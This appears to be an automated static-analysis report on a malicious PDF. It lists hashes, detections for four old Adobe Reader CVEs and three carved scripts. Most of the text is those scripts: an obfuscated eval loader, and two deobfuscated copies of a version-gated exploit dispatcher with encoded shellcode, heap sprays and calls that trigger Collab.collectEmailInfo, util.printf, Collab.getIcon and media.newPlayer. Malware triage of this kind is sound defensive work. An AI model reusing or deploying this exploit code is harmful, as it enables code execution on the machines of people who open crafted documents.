Malicious PDF — malware analysis report

Static analysis result for SHA-256 499bce98f4baaea6…

MALICIOUS

PDF

32.7 KB Created: 2010-07-25 10:32:51 First seen: 2012-09-20
MD5: 5201654707a77bcd421f77554b160188 SHA-1: af8c8efdbb3a4978535a01ecaecf542c841bcf10 SHA-256: 499bce98f4baaea6343f5d6ccc9f1b1ab776628d514f59b93998c04e703442e0
448 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x7EB2 799 bytes
SHA-256: a0df86c06127ba428aab22a20a1f778315c95b340cadd02380c8a54aa32e24df
Preview script
First 1,000 lines of the extracted script
jt = (function(){return this;}).call(null);
jvqy = new Date();
var mb='';
var mok = 'e'+(parseInt(jvqy.getFullYear())-1)+'a'+mb+'l';
ur=jt[mok.replace('2009','v')];
function lnhs(){
	var yh='',luc=[];
	var mb='';
	ur('va'+mb+'r ade=th'+mb+'i'+mb+'s');
	ur('va'+mb+'r tw=Str'+mb+'ing.f'+mb+'romC'+mb+'harCode');
	var pugi='prod' + jvqy.getFullYear()+'er';
	var fkzk = ade[pugi.replace('2010','uc')];
	var ndjn = '' + jvqy.getFullYear() + mb + 'i'+mb+'t';
	var rko = 's' + ndjn.replace('2010','pl');
	var lewg='2010';
	lewg = lewg.replace(jvqy.getFullYear(),'');
	ur('va'+lewg+'r n' + mb + 'r=[' + fkzk + lewg + ']');
	var fei = nr;
	uogj='le'+mb+'ng'+mb+'th';
	var em = fei[uogj] / 2;
	for (var kj = 0; kj < em; kj++) {
		yh += tw(fei[kj+em] - fei[kj]);
	}
	return yh;
	}
	var ajf=lnhs();
	ur(ajf);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery producer-halfdiff from raw PDF metadata at offset 0x0 3601 bytes
SHA-256: bcb52cf79aba595602958cf43acf116171e90f6a4a40ca4625ebcb793ebd136c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var tal='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%ubc34%ue2aa%uc3fa%ue5e8%uffff%u55ff%ubdb0%ubcbc%u3de2%ue050%ubcbd%u35bc%u315b%uacf3%ud331%u8de8%ueb67%uefed%uefef%uefef%uefef%uefe9%ud4ef%ubdb8%ubcbc%ueae9%ud4ef%ud2d3%ubcbc%uc9d4%ud0ce%ue8d1%u32d4%ub2f2%u5450%ubcf4%ubcbc%u54ec%ubcc0%ubcbc%u6c43%u783f%ud4b4%u53f3%ub9f3%u54ec%ubcd0%ubcbc%u6c43%u7c39%uabc9%ue8d6%u4fe5%ud416%u42ce%uaa0f%ua154%ubcbc%uecbc%ued54%ubcbc%u43bc%uef6c%u42d6%u35d4%ubdd3%u5401%ubcb4%ubcbc%u54ec%ubc80%ubcbc%u6c43%u8ddc%ud87c%uec37%u378c%ub0ee%uee37%u37a8%u94ce%ua405%ubcbc%u8dbc%u8d43%u107c%udd80%ubec0%u9c90%u737d%ubdb1%u5e7b%u3d4c%ue743%uf600%u37d6%uacfe%uae37%u65c9%uf835%ua098%u7fdd%u37dc%u98d0%u3798%u80f9%ue837%uc4b9%u56bd%uf637%u37a4%u9ce6%u57bd%u885f%u37f5%u3788%u52bd%u438d%u7c8d%u1040%u7c38%ubbc8%u737d%ubdb1%u577b%u8748%u98c0%uc994%u375d%u98e6%u57bd%u37da%uf7b0%ue637%ubda0%u3757%u37b8%u54bd%uf835%ua098%u7edd%ubcb4%u5354%u4342%ud443%uc8c8%u86cc%u9393%ud3c6%uc8d0%udf92%u92c6%udfdf%ud893%ucc92%uccd4%uda83%u8f81%u9a85%u81d9%ubc8f';function dq(wbm,sg){while(wbm.length*2<sg){wbm+=wbm;}
wbm=wbm.substring(0,sg/2);return wbm;}
function tn(){var yw=new Array();var odo=0x0c0c0c0c;var addr=0x400000;var payload=unescape(tal);var sc_len=payload.length*2;var sg=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=dq(yarsp,sg);var count2=(odo-0x400000)/addr;for(var count=0;count<count2;count++){yw[count]=yarsp+payload;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(tal);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(tal);var hWq500CN=payload.length*2;var sg=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=dq(yarsp,sg);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){tn();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}}
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(tal);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from raw PDF metadata at offset 0x0 3597 bytes
SHA-256: 3b242dbc16891477785afb78347330603e1325029266d6f9b1a9aecac31c6aca
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var tal='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%ubc34%ue2aa%uc3fa%ue5e8%uffff%u55ff%ubdb0%ubcbc%u3de2%ue050%ubcbd%u35bc%u315b%uacf3%ud331%u8de8%ueb67%uefed%uefef%uefef%uefef%uefe9%ud4ef%ubdb8%ubcbc%ueae9%ud4ef%ud2d3%ubcbc%uc9d4%ud0ce%ue8d1%u32d4%ub2f2%u5450%ubcf4%ubcbc%u54ec%ubcc0%ubcbc%u6c43%u783f%ud4b4%u53f3%ub9f3%u54ec%ubcd0%ubcbc%u6c43%u7c39%uabc9%ue8d6%u4fe5%ud416%u42ce%uaa0f%ua154%ubcbc%uecbc%ued54%ubcbc%u43bc%uef6c%u42d6%u35d4%ubdd3%u5401%ubcb4%ubcbc%u54ec%ubc80%ubcbc%u6c43%u8ddc%ud87c%uec37%u378c%ub0ee%uee37%u37a8%u94ce%ua405%ubcbc%u8dbc%u8d43%u107c%udd80%ubec0%u9c90%u737d%ubdb1%u5e7b%u3d4c%ue743%uf600%u37d6%uacfe%uae37%u65c9%uf835%ua098%u7fdd%u37dc%u98d0%u3798%u80f9%ue837%uc4b9%u56bd%uf637%u37a4%u9ce6%u57bd%u885f%u37f5%u3788%u52bd%u438d%u7c8d%u1040%u7c38%ubbc8%u737d%ubdb1%u577b%u8748%u98c0%uc994%u375d%u98e6%u57bd%u37da%uf7b0%ue637%ubda0%u3757%u37b8%u54bd%uf835%ua098%u7edd%ubcb4%u5354%u4342%ud443%uc8c8%u86cc%u9393%ud3c6%uc8d0%udf92%u92c6%udfdf%ud893%ucc92%uccd4%uda83%u8f81%u9a85%u81d9%ubc8f';function dq(wbm,sg){while(wbm.length*2<sg){wbm+=wbm;}
wbm=wbm.substring(0,sg/2);return wbm;}
function tn(){var yw=new Array();var odo=0x0c0c0c0c;var addr=0x400000;var payload=unescape(tal);var sc_len=payload.length*2;var sg=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=dq(yarsp,sg);var count2=(odo-0x400000)/addr;for(var count=0;count<count2;count++){yw[count]=yarsp+payload;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(tal);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(tal);var hWq500CN=payload.length*2;var sg=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=dq(yarsp,sg);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){tn();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}}
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(tal);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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